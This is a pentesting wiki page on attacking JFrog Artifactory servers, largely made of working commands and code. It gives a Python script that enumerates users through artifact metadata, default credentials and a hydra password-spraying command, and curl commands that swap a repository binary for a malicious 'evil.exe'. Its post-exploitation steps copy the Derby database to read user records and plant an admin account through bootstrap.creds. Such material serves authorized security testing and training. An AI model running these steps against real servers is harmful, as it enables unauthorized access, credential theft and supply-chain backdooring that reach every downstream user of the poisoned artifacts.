Artifactory Pentesting

Theory

Artifactory is a widely used binary repository manager that serves as a central hub for managing, storing, and distributing software, binaries, artifacts and dependencies. It supports multiple package types and integrates seamlessly with build tools, CI/CD pipelines, and DevOps workflows.

From an attacker's perspective, this centralization and trust make Artifactory a high-value target. By compromising the server, we can can introduce malicious artifacts that propagate through the development pipeline, enabling supply chain attacks.

Additionally, Artifactory often contains sensitive information, such as API keys, authentication tokens, and embedded secrets within binaries or configuration files, which we may exfiltrate or use to escalate privileges or pivot to other systems.

Practice

Enumeration

Artifactory's web interface run by default on port 8081.

curl http://<TARGET>:8081

Sometimes, because of a misconfiguration, anonymous is allowed to deploy files to some repositories!

To check which repositories the anonymous user can deploy to, use the following request:

curl http://<TARGET>:8081/artifactory/ui/repodata?deploy=true
# Or for later versions
curl http://<TARGET>:8081/artifactory/ui/api/v1/ui/repodata?deploy=true

Anonymous & Low-Privileged Users

Listing users is typically a privilege reserved for administrators. However, using the script belows, leveraging the “Deployed By” attribute associated with artifacts, we can enumerate users actively involved in deployments

enum_artifacts_users.py

# Original Script: https://gist.github.com/gquere/347e8e042490be87e6e9e32e428cb47a
# This script was adapted to support Authentication 

import requests
import json
import urllib3
import sys
import argparse

# SUPPRESS WARNINGS ############################################################
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ADD USER #####################################################################
def check_users(details, users):
    if 'createdBy' not in details:
        return

    if details['createdBy'] not in users:
        print('Found user {}'.format(details['createdBy']))
        users.append(details['createdBy'])
    if details['modifiedBy'] not in users:
        print('Found user {}'.format(details['modifiedBy']))
        users.append(details['modifiedBy'])

# MAIN #########################################################################
def main():
    # Parse command-line arguments
    parser = argparse.ArgumentParser(description="Process repositories and check users.")
    parser.add_argument("url", help="Base URL of the API")
    parser.add_argument("--user", help="Username for Basic Authentication")
    parser.add_argument("--password", help="Password for Basic Authentication")
    args = parser.parse_args()

    url = args.url.rstrip('/')
    auth = (args.user, args.password) if args.user and args.password else None

    session = requests.Session()
    users = []

    try:
        response = session.get(url + '/api/repositories', verify=False, auth=auth)
        response.raise_for_status()
        repositories = json.loads(response.text)
    except Exception as e:
        print(f"Failed to fetch repositories: {e}")
        sys.exit(1)

    print('There are {} repositories to process'.format(len(repositories)))
    for repository in repositories:
        try:
            response = session.get(url + '/api/storage/' + repository['key'], verify=False, auth=auth)
            if 'json' not in response.headers.get('Content-Type', ''):
                continue
            rep = json.loads(response.text)

            for child in rep.get('children', []):
                uri = child['uri']
                response = session.get(url + '/api/storage/' + repository['key'] + uri, verify=False, auth=auth)
                if 'json' not in response.headers.get('Content-Type', ''):
                    continue
                details = json.loads(response.text)
                check_users(details, users)
        except Exception as e:
            print(f"Error processing repository {repository.get('key', 'unknown')}: {e}")


if __name__ == "__main__":
    main()

We can run the script as follows:

# Run as anonymous user
python enum_artifacts_users.py "http://<TARGET>:8081/artifactory"

# Run as low priviledged user
python enum_artifacts_users.py "http://<TARGET>:8081/artifactory" --user <USER> --password <PASSWORD>

Admin Users

If we have administrative rights, we can enumerate users as follows:

curl -uadmin:password123 "http://controller:8082/artifactory/api/users"|jq

Authentication

By default, no password locking policy is in place which makes Artifactory a prime target for credential stuffing and password spraying attacks.

Artifactory’s default accounts are:

Account

Default password

Notes

admin

password

common administration account

access-admin

password (<6.8.0) or a random value (>= 6.8.0)

used for local administration operations only

anonymous

’’

anonymous user to retrieve packages remotely, not enabled by default

We can brute-force access-admin's password using hydra and BasicAuth as follows

hydra -l access-admin -P /usr/share/wordlists/rockyou.txt <TARGET-IP> http-get "/artifactory/api/repositories:S=200" -s 8081

Modifying Artifacts

If you have administrative/write access to a repository, you can upload a malicious file to replace an original one.

First, enumerate repositories

# Get list of repo
curl -u<USER>:<PASSWORD> "http://<TARGET>:8081/artifactory/api/repositories"|jq

# Replace <KEY> with the target repository found earlier, and query files
curl -u<USER>:<PASSWORD> "http://<TARGET>:8081/artifactory/api/storage/<KEY>"|jq
 
# We can brows folder and files as follows
curl -u<USER>:<PASSWORD> "http://<TARGET>:8081/artifactory/api/storage/<KEY>/<URI>"|jq

Once we found a interesting file to backdor (e.g http://<TARGET>:8081/artifactory/api/storage/SimpleRepo/app.exe)

We can replace the file as follows

# Replace using <REPO_URL><TARGET> as url
curl -u<USER>:<PASSWORD> -T evil.exe "http://<TARGET>:8081/artifactory/SimpleRepo/app.exe"

Post-Exploitation

The following are only useful once we have achieved remote code execution or arbitrary file read on the server.

We can copy the database (as artificers usually lock database files) and access the copy to retrieve sensitive information.

To access the Derby database, it is necessary to download/use the Derby tools, specifically the ij Apache utility.

# Copy the DB
mkdir /tmp/dbcopy
sudo cp -r /opt/jfrog/artifactory/var/data/access/derby /tmp/dbcopy
sudo chmod 755 /tmp/dbcopy/derby
sudo rm /tmp/dbcopy/derby/*.lck

# Access the DB
sudo /opt/jfrog/artifactory/app/third-party/java/bin/java -jar /opt/derby/db-derby-10.15.1.3-bin/lib/derbyrun.jar ij
ij> connect 'jdbc:derby:/tmp/dbcopy/derby';
ij> select * from access_users;

lala

# Add user to 
sudo bash -c "echo 'snovvcrash*=Passw0rd!' > /opt/jfrog/artifactory/var/etc/access/bootstrap.creds"
sudo chmod 600 /opt/jfrog/artifactory/var/etc/access/bootstrap.creds

$ sudo /opt/jfrog/artifactory/app/bin/artifactoryctl stop
$ sudo /opt/jfrog/artifactory/app/bin/artifactoryctl start
$ sudo grep "Create admin user" /opt/jfrog/artifactory/var/log/console.log

Resources

Artifactory Hacking guideGuillaume Quéré

https://ppn.snovvcrash.rocks/pentest/infrastructure/devops/artifactoryppn.snovvcrash.rocks

Last updated 1 year ago

hashtagPractice

hashtagEnumeration

hashtagAuthentication

hashtagModifying Artifacts

hashtagPost-Exploitation

hashtagResources

Practice

Enumeration

Authentication

Modifying Artifacts

Post-Exploitation

Resources